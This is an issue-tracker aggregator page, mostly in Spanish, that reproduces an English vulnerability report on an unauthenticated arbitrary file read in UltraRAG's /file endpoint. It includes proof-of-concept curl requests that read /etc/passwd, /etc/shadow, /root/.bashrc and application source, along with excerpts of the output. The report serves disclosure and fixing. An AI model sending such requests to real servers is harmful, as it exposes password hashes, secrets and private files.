【Security Vulnerability Report】CWE-22 /file endpoint unauthenticated arbitrary file read (CVSS 7.5)
Los mantenedores suelen responder en 5 días
Evaluación
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Aptitud para principiantes
- 72/100
Línea de trabajo
Start in script/case_study.py at get_file(path), then trace STATE.static_roots initialization through _collect_image_dirs() and the startup handling around lines 741-760. Reproduce the reported curl request with no static roots, then verify that paths outside configured roots are rejected while permitted files retain the intended behavior.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Security Vulnerability Report -- CWE-22
Summary
The /file endpoint completely skips path restriction validation when STATE.static_roots is an empty list, allowing attackers to read any file readable by the server process via arbitrary path parameters, constituting an unauthenticated arbitrary file read vulnerability.
Vulnerability Description
Affected Repository: https://github.com/OpenBMB/UltraRAG
Branch: main
Commit: a763d34432007fcd1b261209f222bb10df907beb
Static Analysis Report
Vulnerability Overview
The /file endpoint (script/case_study.py:690) serves local files (primarily images) directly to the frontend. This endpoint accepts a file path via the query parameter path and returns the file content using FileResponse. The code intends to restrict readable files to specified static resource directories via a STATE.static_roots whitelist mechanism, but has a critical logic flaw: when STATE.static_roots is an empty list [], Python evaluates if STATE.static_roots: as False, causing the entire path whitelist validation to be completely skipped, allowing attackers to pass any absolute path to read any file within the server process's permission scope.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | No authentication required, the endpoint is fully public |
| Network Accessibility | Requires access to the FastAPI service port (default 127.0.0.1:8080, can be configured to 0.0.0.0 via --host) |
| Configuration Dependencies | STATE.static_roots is an empty list. When the --static-root parameter is not specified at startup and the data files do not contain any image paths (.png/.jpg/.jpeg/.gif/.webp/.bmp/.svg), _collect_image_dirs() returns an empty list, and STATE.static_roots remains empty |
| Other Prerequisites | None |
Trigger Location
script/case_study.py:690-706
@app.get("/file")
def get_file(path: str):
# Security: only serve files under configured static roots (if provided / detected)
real = os.path.realpath(path)
if STATE.static_roots: # <-- when static_roots=[] this is False, skipping all validation
allowed = False
for root in STATE.static_roots:
r = os.path.realpath(root)
if real == r or real.startswith(r + os.sep):
allowed = True
break
if not allowed:
return PlainTextResponse("Forbidden", status_code=403)
if not os.path.exists(real):
return PlainTextResponse("Not Found", status_code=404)
mime = guess_type(real)[0] or "application/octet-stream"
return FileResponse(real, media_type=mime) # <-- directly returns any readable file
Data Flow Overview
- HTTP GET
/file?path=/etc/passwd-> user input enters via query parameterpath get_file(path)(script/case_study.py:691) -> FastAPI automatically binds the query parameter to the function parameterpathos.path.realpath(path)(script/case_study.py:693) -> resolves the user input to an absolute path (resolving symlinks and..), but does not restrict the path rangeif STATE.static_roots:(script/case_study.py:694) -> whenstatic_rootsis an empty list, the condition isFalse, and the whitelist validation is entirely skippedos.path.exists(real)(script/case_study.py:703) -> only checks if the file exists, no security validationFileResponse(real)(script/case_study.py:706) -> returns the target file content as the HTTP response body to the client
Data Flow Detailed Code Analysis
Chain 1: User Input -> Path Resolution
Location: script/case_study.py:691-693
@app.get("/file")
def get_file(path: str):
# Security: only serve files under configured static roots (if provided / detected)
real = os.path.realpath(path)
- External input: Query parameter
path, automatically extracted from the HTTP request's query string by the FastAPI framework and bound to the function parameterpath(typestr, no validation) - Operations at this layer: Calls
os.path.realpath(path)to resolve the input to a normalized absolute path.realpathresolves symlinks and..components, but does not restrict the path range -- e.g.,os.path.realpath("/etc/passwd")returns/etc/passwd - Data passing: The resolved path is passed as local variable
realto subsequent logic
Chain 2: Path Whitelist Validation (Bypassed)
Location: script/case_study.py:694-702
if STATE.static_roots:
allowed = False
for root in STATE.static_roots:
r = os.path.realpath(root)
if real == r or real.startswith(r + os.sep):
allowed = True
break
if not allowed:
return PlainTextResponse("Forbidden", status_code=403)
- External input: Variable
real(from Chain 1) - Operations at this layer: Checks whether
STATE.static_rootsis truthy.STATE.static_rootsis initialized as an empty list[](script/case_study.py:23).static_rootsremains empty when the following conditions are simultaneously met:- The
--static-rootcommand line argument is not passed at startup (script/case_study.py:742) _collect_image_dirs(STATE.cases)returns an empty list (script/case_study.py:753), i.e., the data files do not contain any file paths with image extensions
- The
- Critical flaw: In Python, an empty list
[]has a boolean value ofFalse, soif STATE.static_roots:evaluates to false, and the entire whitelist validation block is skipped, with control flow proceeding directly to the next step - Data passing: Variable
realis passed as-is to the next layer, without any security filtering
Chain 3: File Existence Check + File Return
Location: script/case_study.py:703-706
if not os.path.exists(real):
return PlainTextResponse("Not Found", status_code=404)
mime = guess_type(real)[0] or "application/octet-stream"
return FileResponse(real, media_type=mime)
- External input: Variable
real(from Chain 1, unfiltered by Chain 2) - Operations at this layer:
os.path.exists(real)only verifies the file exists, no security restrictionguess_type(real)guesses the MIME type based on file extensionFileResponse(real)returns the file content as an HTTP response, including the entire file content
- Data passing: File content is directly returned as the HTTP response body to the attacker
static_roots Initialization Path Analysis
Location: script/case_study.py:741-760
# Configure static roots (manual > auto-detect)
if args.static_root:
seen = set()
roots = []
for r in args.static_root:
r = os.path.realpath(r)
if r not in seen:
roots.append(r)
seen.add(r)
STATE.static_roots = roots
else:
STATE.static_roots = _collect_image_dirs(STATE.cases)
if STATE.static_roots:
print("[OK] Static roots:")
for r in STATE.static_roots:
print(" -", r)
else:
print("[Info] No static roots detected; image paths will be shown as text.")
- When the user does not specify
--static-rootparameter,_collect_image_dirs()is called for auto-detection _collect_image_dirs()(script/case_study.py:149-178) iterates through values in the data, only collecting directories containing image extensions- If the data contains no image paths, the function returns an empty list
- The code's log message at line 760 explicitly acknowledges that
static_rootsbeing empty is an expected normal state
CVSS Breakdown
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N -> 7.5 (High)
| Vector | Value | Reason |
|---|---|---|
| Attack Vector (AV) | Network (N) | Triggered remotely via HTTP GET request, exploitable as long as the service port is reachable |
| Attack Complexity (AC) | Low (L) | No special conditions or timing required, a single HTTP request triggers it |
| Privileges Required (PR) | None (N) | The endpoint has no authentication mechanism, no credentials needed |
| User Interaction (UI) | None (N) | No user interaction required, attacker can independently initiate the request |
| Scope (S) | Unchanged (U) | The vulnerability only affects the FastAPI process's own file read permission scope, no security boundary crossing |
| Confidentiality (C) | High (H) | Can read any sensitive file within the process's permission scope (e.g., /etc/passwd, configuration files, key files, source code, etc.), causing serious information leakage |
| Integrity (I) | None (N) | This vulnerability only involves file reading, does not modify any data |
| Availability (A) | None (N) | This vulnerability does not affect system availability |
PoC Verification Report
/file Endpoint Unauthenticated Arbitrary File Read
Vulnerability Summary
- Vulnerability name: /file endpoint unauthenticated arbitrary file read
- Affected component/port: FastAPI service (script/case_study.py, default 127.0.0.1:8080)
- Vulnerability brief: When STATE.static_roots is an empty list, the /file endpoint's path whitelist validation is completely skipped, allowing attackers to read any file within the server process's permission scope via the path query parameter
- Root cause code snippet:
@app.get("/file")
def get_file(path: str):
real = os.path.realpath(path)
if STATE.static_roots: # empty list [] has boolean value False, skipping all validation
allowed = False
for root in STATE.static_roots:
r = os.path.realpath(root)
if real == r or real.startswith(r + os.sep):
allowed = True
break
if not allowed:
return PlainTextResponse("Forbidden", status_code=403)
if not os.path.exists(real):
return PlainTextResponse("Not Found", status_code=404)
mime = guess_type(real)[0] or "application/octet-stream"
return FileResponse(real, media_type=mime)
- Brief data flow:
HTTP GET /file?path=/etc/passwd
|
get_file(path="/etc/passwd") (script/case_study.py:691)
|
real = os.path.realpath("/etc/passwd") -> "/etc/passwd" (script/case_study.py:693)
|
if STATE.static_roots: -> False (empty list) -> skip whitelist validation (script/case_study.py:694)
|
os.path.exists("/etc/passwd") -> True (script/case_study.py:703)
|
FileResponse("/etc/passwd") -> entire file content returned to attacker (script/case_study.py:706)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | No authentication required, the endpoint is fully public |
| Network Accessibility | Requires access to the FastAPI service port (default 127.0.0.1:8080, can be exposed to the network via --host 0.0.0.0) |
| Configuration Dependencies | STATE.static_roots is an empty list: at startup no --static-root parameter specified and data files contain no image paths (.png/.jpg/.jpeg/.gif/.webp/.bmp/.svg), _collect_image_dirs() returns an empty list |
| Other Prerequisites | None |
Exploitation Verification
Test 1: Read /etc/passwd System User File
Hypothesis: When static_roots is empty, the /file endpoint does not perform any path restriction validation, allowing the attacker to read system user information by passing the /etc/passwd path.
Expected behavior: HTTP 200 response, returning the complete content of /etc/passwd.
Pass criteria: HTTP status code 200 and the response body contains system user information strings such as "root❌0:0".
curl -s -o response.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/etc/passwd"
Actual result: HTTP status code 200, response body 1229 bytes, containing complete /etc/passwd content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
... (24 lines total of system user information)
Verdict: Hypothesis confirmed -- successfully read /etc/passwd, the endpoint performed no path restriction validation.
Test 2: Read Application Source Code
Hypothesis: The attacker can read the FastAPI application's own source code file via the /file endpoint, obtaining all business logic and security implementation details.
Expected behavior: HTTP 200 response, returning the complete source code of case_study.py.
Pass criteria: HTTP status code 200 and the response body contains source code keywords (such as "FastAPI", "get_file", etc.).
curl -s -o response.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/root/workspace/repo/script/case_study.py"
Actual result: HTTP status code 200, response body 29105 bytes (complete source code), first 20 lines:
# python ./script/case_study.py --data output/memory.json --host 0.0.0.0 --port 8080 --title "Case Study Viewer"
import argparse
import json
import os
from typing import Any, List
from fastapi import FastAPI
from fastapi.responses import HTMLResponse, JSONResponse, PlainTextResponse, FileResponse
from mimetypes import guess_type
from fastapi.middleware.cors import CORSMiddleware
import uvicorn
app = FastAPI(title="Case Study Viewer Service")
class State:
data_path: str = ""
data_files: List[str] = []
title: str = "Case Study Viewer"
cases: List[List[dict]] = []
static_roots: List[str] = []
Verdict: Hypothesis confirmed -- successfully read 29KB of complete source code, the attacker can obtain all security validation logic, route definitions, and data processing flows.
Test 3: Read High-Sensitivity System Files (/etc/shadow + /root/.bashrc)
Hypothesis: The attacker can not only read general system files, but also high-sensitivity files such as the password hash file /etc/shadow and the user shell configuration file /root/.bashrc.
Expected behavior: HTTP 200 response, returning the content of /etc/shadow and /root/.bashrc.
Pass criteria: HTTP status code 200 and /etc/shadow response body contains password hash format fields (such as "root:*:" or "root:$").
# Read /etc/shadow
curl -s -o shadow.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/etc/shadow"
# Read /root/.bashrc
curl -s -o bashrc.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/root/.bashrc"
Actual result:
/etc/shadow -- HTTP status code 200, response body 645 bytes:
root:*:20631:0:99999:7:::
daemon:*:20631:0:99999:7:::
bin:*:20631:0:99999:7:::
/root/.bashrc -- HTTP status code 200, response body 3127 bytes, containing complete bash configuration:
# ~/.bashrc: executed by bash(1) for non-login shells.
...
HISTSIZE=1000
HISTFILESIZE=2000
...
. "/root/.cargo/env"
Verdict: Hypothesis confirmed -- successfully read /etc/shadow (password hash file) and /root/.bashrc (user configuration file), proving the vulnerability can cause serious information leakage.
Comprehensive Conclusion
All three hypotheses are confirmed. Under the condition that STATE.static_roots is an empty list (at startup, no --static-root specified and data files have no image paths), the /file endpoint's path whitelist validation is completely skipped. An attacker without any authentication can read any file within the server process's permission scope via a single HTTP GET request. The following were successfully read:
- /etc/passwd (system user list)
- /root/workspace/repo/script/case_study.py (complete application source code, 29KB)
- /etc/shadow (password hash file)
- /root/.bashrc (user shell configuration)
- /etc/hostname (hostname information)
The server log explicitly recorded "[Info] No static roots detected; image paths will be shown as text.", confirming that static_roots being empty is a normal expected state, not an anomalous configuration. This vulnerability is triggerable under the default startup method (no --static-root and data without images), constituting an unauthenticated arbitrary file read risk.
Severity
CVSS v3.1: 7.5 (High)
Vulnerability Category: CWE-22
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- Lenguaje dominante
- Python
- Estrellas
- 5.7k
- Forks
- 456
- Merge medio
- 4 d 15 h
- PR fusionados (30 d)
- 10
Preparar el entorno
- Incluye un Dockerfile o un archivo de Docker Compose
- Sin plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de OpenBMB/UltraRAG
-
Dificultad 4/5 3-5 días Aptitud para principiantes 38/100
Los mantenedores suelen responder en 5 días
-
Dificultad 3/5 1-2 días Aptitud para principiantes 38/100
Los mantenedores suelen responder en 5 días
-
Dificultad 4/5 3-5 días Aptitud para principiantes 15/100
Los mantenedores suelen responder en 5 días
-
Dificultad 4/5 3-5 días Aptitud para principiantes 45/100
Los mantenedores suelen responder en 5 días
-
[SECURITY] Arbitrary file read via absolute path in MCP prompt check_passages (CWE-22, CVSS 7.5)Abierto
Dificultad 4/5 3-5 días Aptitud para principiantes 48/100
Los mantenedores suelen responder en 5 días
Todos los issues de OpenBMB/UltraRAG
Issues similares
-
area:docs documentation effort:M ready-for-agent
Dificultad 2/5 1-3 horas Aptitud para principiantes 76/100
mczielinski/ob-analytics#423 ·
Los mantenedores suelen responder en 1 día
-
flaky: test_ci_eval_scope_exclude never-matches case spends its 1s budget on the rollout waitAbiertoneeds-triage
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
gke-labs/kube-agents#4838 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 83/100
danyuchn/asd-ste100-skill#60 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 1/5 Menos de una hora Aptitud para principiantes 64/100
Gathin23/cleanyourtv#3299 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 76/100
autowarefoundation/autoware_carla_scenario#1485 ·
Los mantenedores suelen responder en 1 día